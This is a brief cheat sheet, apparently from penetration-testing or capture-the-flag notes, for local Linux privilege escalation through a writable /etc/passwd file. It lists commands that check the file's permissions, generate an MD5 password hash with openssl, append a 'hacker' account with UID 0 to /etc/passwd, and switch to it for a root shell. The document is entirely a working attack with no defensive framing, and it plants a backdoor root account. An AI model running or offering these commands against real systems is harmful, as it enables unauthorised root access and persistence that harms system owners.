Check if writable
ls -la /etc/passwd
Look for: -rw-rw-r-- or -rw-r--rw-
Generate password hash
openssl passwd -1 -salt hacker "hacked123"
Example output: $1$hacker$xyz123...
Add root user with UID 0
echo 'hacker:$1$hacker$xyz123...:0:0:root:/root:/bin/bash' >> /etc/passwd
Login as the new root user
su hacker # Password: hacked123
id # Should show: uid=0(root)